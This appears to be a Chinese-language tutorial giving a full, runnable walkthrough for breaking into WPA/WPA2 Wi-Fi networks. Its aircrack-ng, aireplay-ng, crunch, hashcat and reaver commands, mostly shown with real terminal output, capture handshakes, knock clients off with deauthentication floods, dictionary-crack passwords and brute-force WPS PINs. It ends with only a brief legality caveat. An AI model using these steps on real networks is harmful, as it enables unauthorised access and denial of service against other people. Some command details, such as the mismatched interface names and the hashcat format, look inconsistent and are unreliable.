一、工具概述Aircrack-ng:这是一个用于网络监控、捕获数据包、密钥破解的 Wi-Fi 破解工具集。Airmon-ng:将无线网卡置于监控模式。Airodump-ng:用于捕获 Wi-Fi 网络的数据包。Aireplay-ng:注入网络包进行干扰或欺骗攻击,常用于解除客户端的连接(deauth)。Aircrack-ng:通过字典破解捕获到的握手包,获取 Wi-Fi 密码。
二、详细步骤
1. 将无线网卡切换为监控模式Kali Linux 默认网卡工作在管理模式下(不捕获流量)。使用 airmon-ng 启动监控模式:
sudo airmon-ng start wlan1
wlan1 是你的无线网卡接口名称,可以通过 ifconfig 查看。
如果看到错误提示与进程冲突,可使用以下命令杀死冲突进程:
sudo airmon-ng check kill
2. 扫描周围的 Wi-Fi 网络使用 airodump-ng 来扫描周围的 Wi-Fi 网络:
sudo airodump-ng wlan1
此命令会显示:
BSSID:路由器的 MAC 地址。PWR:信号强度。CH:信道(Channel)。ENC:加密类型(如 WPA、WPA2)。ESSID:Wi-Fi 网络名称。
3. 选择目标 Wi-Fi 网络并捕获握手包
找到目标 Wi-Fi 网络后,记下其 BSSID 和信道,然后运行以下命令开始捕获握手包:
sudo airodump-ng --bssid [目标BSSID] --channel [信道] -w [保存文件名] wlan0mon
--bssid 后跟目标 Wi-Fi 的 BSSID。--channel 后跟信道号。-w 表示保存握手包的文件名。例子:
sudo airodump-ng --bssid DC:65:55:EC:34:A6 --channel 11 -w /home/smoke/Smoke_LivingRoom_2.4G wlan1
这个命令会捕获目标 Wi-Fi 网络上的数据包,直到捕获到握手包。
4. 强制客户端重新连接(Deauthentication 攻击)不要关闭捕获握手包,重新开一个窗口进行攻击
如果在捕获过程中没有用户连接到 Wi-Fi 或没有获取到握手包,可以使用 aireplay-ng 发送断开(deauth)请求,强制客户端重新连接,以便捕获握手包:
sudo aireplay-ng --deauth 10 -a [路由器mac地址] -c [客户端mac地址] wlan0mon
--deauth 10 意思是发送 10 个 deauth 包,10 是可调的数字,代表包的数量。-a 路由器 mac 地址 。-c 客户端 mac 地址。例子:
┌──(smoke㉿smoke-gs70-2pc-stealth)-[~]
└─$ sudo aireplay-ng --deauth 10 -a DC:65:55:EC:34:A6 -c 11:22:33:44:55:66 wlan1
[sudo] smoke 的密码:
16:29:01 Waiting for beacon frame (BSSID: DC:65:55:EC:34:A6) on channel 11
16:29:02 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:02 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:04 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 2| 0 ACKs]
16:29:04 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 4| 0 ACKs]
16:29:05 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:06 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:07 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:07 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 2| 0 ACKs]
16:29:10 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0| 0 ACKs]
16:29:12 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 2| 0 ACKs]
5. 检查是否成功捕获握手包当客户端重新连接时,airodump-ng 窗口的右上角会提示 WPA handshake: [目标BSSID],表示已成功捕获握手包。握手包会保存在你指定的 .cap 文件中。
6. 使用字典文件破解 Wi-Fi 密码
握手包捕获完成后,接下来使用 aircrack-ng 工具来破解 Wi-Fi 密码。你需要一个包含常见密码的字典文件。网络上有很多常用的字典文件,推荐使用 rockyou.txt,它通常位于 /usr/share/wordlists/ 中:
┌──(smoke㉿smoke-gs70-2pc-stealth)-[~]
└─$ ll /usr/share/wordlists/
总计 52108
lrwxrwxrwx 1 root root 26 12月28日 13:21 amass -> /usr/share/amass/wordlists
lrwxrwxrwx 1 root root 25 12月28日 13:21 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 12月28日 13:21 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 35 12月28日 13:21 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
lrwxrwxrwx 1 root root 41 12月28日 13:21 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 12月28日 13:21 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 28 12月28日 13:21 john.lst -> /usr/share/john/password.lst
lrwxrwxrwx 1 root root 27 12月28日 13:21 legion -> /usr/share/legion/wordlists
lrwxrwxrwx 1 root root 46 12月28日 13:21 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 12月28日 13:21 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 53357329 2023年 5月12日 rockyou.txt.gz
lrwxrwxrwx 1 root root 39 12月28日 13:21 sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
lrwxrwxrwx 1 root root 25 12月28日 13:21 wfuzz -> /usr/share/wfuzz/wordlist
lrwxrwxrwx 1 root root 37 12月28日 13:21 wifite.txt -> /usr/share/dict/wordlist-probable.txt
自己生成密码字典:6最短,8最长
crunch 6 8 0123456789 >> wifi_password.txt
破解密码
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [目标BSSID] [捕获文件名].cap
-w 后跟字典文件的路径。-b 后跟目标 Wi-Fi 的 BSSID。捕获文件名.cap 是你之前保存的握手包文件。破解过程可能需要一些时间,具体取决于密码的复杂性和字典文件的大小。
7. 破解成功
如果目标 Wi-Fi 的密码在字典文件中,aircrack-ng 将输出 Wi-Fi 密码。你可以使用该密码连接到 Wi-Fi 网络。
sudo aircrack-ng -w wifi_password.txt -b DC:65:55:EC:34:A6 Smoke_LivingRoom_2.4G-01.cap
三、进阶工具和技巧Hashcat:Hashcat 是一个更强大的密码破解工具,它支持 GPU 加速,可以大幅加快破解速度。使用 Hashcat 破解 WPA2 密码需要将 .cap 文件转换为 Hashcat 支持的格式:
hcxpcapngtool -o hashcat.hccapx [捕获文件名].cap
然后使用 Hashcat 进行破解:
hashcat -m 2500 hashcat.hccapx /path/to/wordlist.txt
Reaver(针对 WPS 漏洞) :如果目标 Wi-Fi 网络启用了 WPS 功能,你可以使用 Reaver 工具来尝试暴力破解 WPS PIN,从而绕过 WPA/WPA2 加密:
sudo reaver -i wlan0mon -b [目标BSSID] -vv
这个方法对于没有禁用 WPS 的路由器特别有效。
字典生成器:如果默认字典文件不足以破解密码,可以使用 Crunch 工具来生成符合特定模式的字典文件:
crunch 8 10 abcdefghijklmnopqrstuvwxyz -o custom_wordlist.txt
该命令生成一个由 8 到 10 位的小写字母组成的字典文件。
四、重要的注意事项合法性:你必须对目标网络拥有明确的授权。未经授权的 Wi-Fi 渗透测试是非法的,可能导致严重的法律后果。加密方式:使用 WPA3 加密的网络非常难以破解,目前没有有效的公开方法来破解 WPA3。复杂性:破解时间取决于密码的复杂性和字典的质量。较强的密码可能需要很长时间甚至无法破解。